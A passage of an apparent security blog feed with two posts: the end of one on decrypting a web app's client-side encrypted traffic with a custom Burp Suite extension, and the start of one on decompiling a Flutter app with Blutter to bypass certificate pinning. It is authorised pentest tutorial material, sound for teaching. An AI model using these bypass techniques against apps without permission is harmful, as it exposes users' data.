&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; privateKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; publicKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encryptedSymmetricKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encryptedIvB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encParamReq; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encParamResp; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.privateKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.publicKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; iv&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encryptedIvB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; iv; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; param&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encParamReq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; param; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; param&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encParamResp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; param; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; boolean&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; isConfigured&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return !&lt;&#x2F;span&gt;&lt;span&gt;privateKeyB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;encryptedSymmetricKeyB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;encryptedIvB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image11.png&quot; alt=&quot;Extension settings tab in Burp Suite GUI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I won&#x27;t release the source code of this extension of mine because it&#x27;s basically a copy-paste of Hosam Gemei&#x27;s original extension, but with some small changes based on the needs I had during the process. The main point of all this was the learning process, but also the regret process of having to deal with Java xD.&lt;&#x2F;p&gt;
&lt;p&gt;After 5 hours in this process, and close to giving up with help from Claude Code, I managed to make this functional. As can be seen in the image below, it&#x27;s a simple window with 6 data inputs, which are basically the necessary data for decryption to be done and also what are the payloads to detect the input and server response, in this case, &lt;code&gt;data&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image12.png&quot; alt=&quot;Extension UI with 6 input fields for keys and parameters&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now when actually testing, I went back to that same route that returned a giant encrypted JSON and you can see that now we have a tab in the response called &quot;Decrypt&quot; and when I accessed it, fortunately there was my decrypted JSON with all information in clear text. Definitely a victory!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image13.png&quot; alt=&quot;Burp Suite Decrypt tab showing the decrypted JSON response&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This type of protection may seem sufficient, but it&#x27;s actually rework, since in MiTM scenarios TLS would already do its job of transporting encrypted data, so adding an extra layer of this is redundant, even more so because the implementation is natively insecure due to the needs between client and server.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;From this process, it&#x27;s important to keep in mind that masking the data that the victim&#x27;s own browser sends and receives transmits a false sense of security, which can be seen as an interesting measure depending on the purpose of that application, but this doesn&#x27;t protect it from all attacks or make it inaccessible by attackers, it just takes time and understanding about the system.&lt;&#x2F;p&gt;
&lt;p&gt;In my honest opinion, this is a pure business decision and not very strategic, because it will end up taking more time to implement and later can generate maintenance problems. So what&#x27;s more important to be done here? Implement robust access controls like the principle of least privilege (RBAC and such), don&#x27;t store sensitive information in source code or Local Storage, don&#x27;t trust user input data and all those other issues that can be seen as more important.&lt;&#x2F;p&gt;
&lt;p&gt;At the end of it all, it was a very rewarding process to be able to develop this whole project and have an extremely positive result, and that later helped me find some other vulnerabilities in the application. Fortunately, I was lucky enough to find an article that solves the same pain as mine and some others that gave me ideas of what to do at certain moments.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@hosam.gemeai&#x2F;a-guide-to-build-burp-suite-extensions-using-montoya-api-java-a8256a169bee&quot;&gt;medium.com — A Guide to Build Burp Suite Extensions using Montoya API (Java)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;melotover.medium.com&#x2F;bypassing-e2e-encryption-leads-to-multiple-high-vulnerabilities-65b708e5ad84&quot;&gt;medium.com — Bypassing E2E Encryption Leads to Multiple High Vulnerabilities&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Gemei&#x2F;Burp-Plugin-Demo&quot;&gt;github.com&#x2F;Gemei&#x2F;Burp-Plugin-Demo&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;portswigger.github.io&#x2F;burp-extensions-montoya-api&#x2F;javadoc&#x2F;burp&#x2F;api&#x2F;montoya&#x2F;MontoyaApi.html&quot;&gt;portswigger.net — MontoyaApi Javadoc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.royalholloway.ac.uk&#x2F;media&#x2F;9116&#x2F;gageboyleisg.pdf&quot;&gt;royalholloway.ac.uk — Client-Side Encryption Research&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Bypassing Flutter Certificate Pinning</title>
        <published>2025-02-20T00:00:00+00:00</published>
        <updated>2025-02-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/bypassing-flutter-certificate-pinning/"/>
        <id>https://larper.me/blog/bypassing-flutter-certificate-pinning/</id>
        
        <content type="html" xml:base="https://larper.me/blog/bypassing-flutter-certificate-pinning/">&lt;p&gt;Continuing with my mobile pentest studies and, of course, doing mobile pentests at work, it&#x27;s pretty common to run into different mobile apps built with various programming languages. For example, you&#x27;ll find apps developed in Java, Kotlin, Flutter, Xamarin, Swift… and a bunch of others.&lt;&#x2F;p&gt;
&lt;p&gt;You&#x27;ll probably find only a few class files that won&#x27;t be nearly as helpful as you&#x27;d hope. For example, here&#x27;s the app I&#x27;m currently working with:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image.png&quot; alt=&quot;Decompiled Flutter APK showing only a few class files&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As you can see, we only have a &lt;code&gt;MainActivity&lt;&#x2F;code&gt; file, a class file with a random name, and the &lt;code&gt;BuildConfig&lt;&#x2F;code&gt; file (don&#x27;t forget to check the BuildConfig file—you might find something useful there). When I see this, two scenarios come to mind:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The rest of the app is obfuscated.&lt;&#x2F;li&gt;
&lt;li&gt;The app is built with Flutter.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;I went with the second option. Why? Because it&#x27;s pretty easy to identify a Flutter app just by looking at the extracted content from the APK file (I used apktool for this) and checking the lib directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%201.png&quot; alt=&quot;APK lib directory showing libflutter.so and libapp.so&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For now, we&#x27;re most interested in these two files: &lt;code&gt;libflutter.so&lt;&#x2F;code&gt; and &lt;code&gt;libapp.so&lt;&#x2F;code&gt;. For those who don&#x27;t know, Flutter is a software development kit created by Google, commonly used to develop applications for Android, iOS, Linux, macOS, and other platforms. However, it&#x27;s primarily popular for mobile apps.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;libflutter.so&lt;&#x2F;code&gt; file contains the Flutter engine, mainly developed in C++. One of its key components is Skia (a 2D graphics library), which renders the UI and displays it in the &lt;code&gt;FlutterView&lt;&#x2F;code&gt;, also known as the &lt;em&gt;Raster Thread&lt;&#x2F;em&gt;. There&#x27;s also the &lt;em&gt;Platform Thread&lt;&#x2F;em&gt;, which interacts with the native APIs of Android and iOS. Finally, we have the &lt;em&gt;UI Thread&lt;&#x2F;em&gt;, responsible for executing Dart code and managing widgets.&lt;&#x2F;p&gt;
&lt;p&gt;On the other hand, &lt;code&gt;libapp.so&lt;&#x2F;code&gt; is unique to each Flutter application. It contains the compiled Dart project—essentially, the mobile app&#x27;s source code. This code is compiled into native machine code using AOT (Ahead-of-Time) compilation, meaning the code is translated into machine instructions before the app actually runs, typically during the production build.&lt;&#x2F;p&gt;
&lt;p&gt;As stated in the Dart documentation, AOT-compiled code guarantees better performance during application execution, such as a fast startup and consistent runtime performance, unlike JIT-compiled code, which is slower at startup but can reach better performance after some time when necessary runtime optimizations occur. Naturally, during a fast development cycle, the Dart VM offers developers JIT compilation features like hot reload, live metrics collection, and debugging support, which help a lot in thoroughly testing the application.&lt;&#x2F;p&gt;
&lt;figure&gt;
  &lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;flutter.png&quot; alt=&quot;Flutter architectural overview&quot;&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;When apps are finally ready to be deployed to web applications or app stores, you can compile your application with the Dart AOT compiler to native ARM or x64 machine code, which, as discussed earlier, will offer better startup performance for your entire application. The AOT-compiled code will run inside the Dart runtime environment with a memory management system that employs fast garbage collection and a generational garbage collector.&lt;&#x2F;p&gt;
&lt;p&gt;In the final process, the &lt;code&gt;libflutter.so&lt;&#x2F;code&gt; file launches the Flutter engine and sets up the environment, while the &lt;code&gt;libapp.so&lt;&#x2F;code&gt; file is loaded by the Flutter engine. This allows the Dart code to run within the Flutter engine, powered by &lt;code&gt;libflutter.so&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;figure&gt;
  &lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%202.png&quot; alt=&quot;Flutter architectural overview&quot;&gt;
  &lt;figcaption&gt;Flutter Architectural Overview — Flutter&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;h2 id=&quot;less-talk-show-me-the-code&quot;&gt;Less talk, show me the code!&lt;&#x2F;h2&gt;
&lt;p&gt;To provide more context, if we open a generic Java application in decompilation tools like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;skylot&#x2F;jadx&quot;&gt;JADX&lt;&#x2F;a&gt; and the app does not use any obfuscation solution, the reverse-engineering process becomes extremely easy since the code is human-readable. For example, I downloaded a specific application from the Play Store and decompiled the APK file using JADX. By following the package name in the Source Code tab and accessing the Java files, you can see that everything is much easier to understand.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;java-code-example.png&quot; alt=&quot;Java app decompiled in JADX showing readable source code&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Getting Flutter&#x27;s apps source code isn&#x27;t exactly trivial. You could open the &lt;code&gt;libapp.so&lt;&#x2F;code&gt; file in Ghidra, IDA, BinaryNinja, or whatever tool you prefer, and try your best to figure out what&#x27;s going on. But honestly, I prefer a different approach. It&#x27;s not a secret method, just a more efficient one (at least in my opinion).&lt;&#x2F;p&gt;
&lt;p&gt;Thankfully, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&quot;&gt;Worawit&lt;&#x2F;a&gt;, along with six other contributors, created the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&#x2F;blutter&quot;&gt;Blutter&lt;&#x2F;a&gt; project. Blutter is a Flutter reverse-engineering tool that supports arm64 and allows lazy people like us to extract more readable code and structure from a Flutter app. It&#x27;s super simple to use, though you&#x27;ll need some libraries and dependencies set up. In my case (MacOS), I had to install &lt;code&gt;cmake&lt;&#x2F;code&gt;, &lt;code&gt;ninja&lt;&#x2F;code&gt;, &lt;code&gt;pkg-config&lt;&#x2F;code&gt;, &lt;code&gt;icu4c&lt;&#x2F;code&gt;, &lt;code&gt;llvm&lt;&#x2F;code&gt;, and a few others. BUT! For actually running Blutter, all you need is a Python script.&lt;&#x2F;p&gt;
&lt;p&gt;As the Blutter README explains, you just need to run the Python script, specify the path to the &lt;code&gt;arm64-v8a&lt;&#x2F;code&gt; directory, and set an output directory:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; blutter.py &amp;#39;path&#x2F;to&#x2F;app&#x2F;lib&#x2F;arm64-v8a&amp;#39; &amp;#39;out_dir&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After that, Blutter compiles the necessary libraries and extracts some resources to execute the reverse-engineering process. Hopefully, after a few minutes, your output will look similar to mine. If any errors occur during this process or your PC crashes, make sure to read the stack trace carefully and check the Blutter GitHub repository&#x27;s Issues tab for similar problems. For added context, I&#x27;m running this on a MacBook, I haven&#x27;t tried Blutter on any other OS yet.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%203.png&quot; alt=&quot;Blutter running and extracting Flutter app resources&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If we navigate to our previously created output directory (in this case, I named it &lt;strong&gt;decompiled_code&lt;&#x2F;strong&gt;) and access the files, we now see a bunch of directories. It contains all the libraries used by the app and the app itself. If you look further, you can find your targeted directory based on the application package name.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%205.png&quot; alt=&quot;Blutter output directory structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The blurred directories are our target. From here, you can either dig through the countless files Blutter extracted or, like me, open the directory in VSCode for a more user-friendly overview. You&#x27;re probably going to see a structure similar to the image below. Now it&#x27;s 10 times easier to understand the application architecture and focus on the most important parts of the code.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%206.png&quot; alt=&quot;Blutter output opened in VSCode showing Dart code structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we have a much better environment for reverse engineering the mobile application and searching for vulnerabilities. I highly recommend using &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gitleaks&#x2F;gitleaks&quot;&gt;gitleaks&lt;&#x2F;a&gt; or any secret-finding tool (TruffleHog, Semgrep) to identify low-hanging fruits. I did this and found some interesting results, but that&#x27;s not the focus of this article, so we will skip that part.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ssl-pinning-for-you-not-for-me&quot;&gt;SSL Pinning for you, not for me!&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;SSL Pinning&lt;&#x2F;strong&gt; (or &lt;strong&gt;Certificate Pinning&lt;&#x2F;strong&gt;) is a technique that helps developers secure their mobile apps from Man-in-the-Middle (MITM) attacks. It ensures that the app only trusts specific certificates instead of the entire certificate chain. Instead of trusting any valid certificate chain, the application stores a copy of the server&#x27;s certificate or public key and verifies if the connection uses that exact certificate.&lt;&#x2F;p&gt;
&lt;p&gt;In the context of SSL Pinning, there are different pinning approaches. For example, we have &lt;strong&gt;Public Key Pinning&lt;&#x2F;strong&gt;, which is a mechanism for sites to specify which certificate authorities have issued valid certificates for that specific site, and to reject TLS connections to those sites if the used certificate is not issued by a known-good CA. The idea is also to prevent man-in-the-middle attacks by hard-coding the public key of the server&#x27;s SSL certificate instead of the entire certificate. In this way, the client will check if the server certificate contains the same public key that is hard-coded in the application code. The main advantage of Public Key Pinning is that even if the server certificate changes, the client will still trust the server if the public key remains the same, although it is harder to implement.&lt;&#x2F;p&gt;
&lt;p&gt;Another method is &lt;strong&gt;SPKI Pinning&lt;&#x2F;strong&gt;. The Subject Public Key Info (SPKI) is basically the key with a bit more salt, it can include the algorithm used for encoding or other parameters. SPKI is obtained from the &lt;strong&gt;Certificate Signing Request (CSR)&lt;&#x2F;strong&gt;, which collects the necessary information from a pair of public and private keys. The use of SPKI Pinning is not very convenient because you will need to release a mandatory update of your app when the certificate gets renewed, which will probably make things harder to maintain. It is possible to &quot;bypass&quot; this problem if you keep the same Certificate Signing Request (CSR) on every renewal process, but that violates the key rotation principle, which is the process of replacing old encryption keys with new ones to reduce the risk of compromised keys.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%208.png&quot; alt=&quot;SSL Pinning flow diagram&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;While analyzing the source code extracted by Blutter, I found something interesting that caught my attention. In the project files, there was a file called &lt;code&gt;dio_http_service_imp.dart&lt;&#x2F;code&gt;. &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pub.dev&#x2F;packages&#x2F;dio&quot;&gt;Dio&lt;&#x2F;a&gt; is a popular HTTP networking package for Dart&#x2F;Flutter, supporting TLS connections. From the official Dio documentation, this is the basic implementation:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;dart&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; initAdapter&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; fingerprint &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;ee5ce1dfa7a53657c545c62b65802e4272878dabd65c0aadcf85783ebb0b4d5c&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  dio.httpClientAdapter &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; IOHttpClientAdapter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
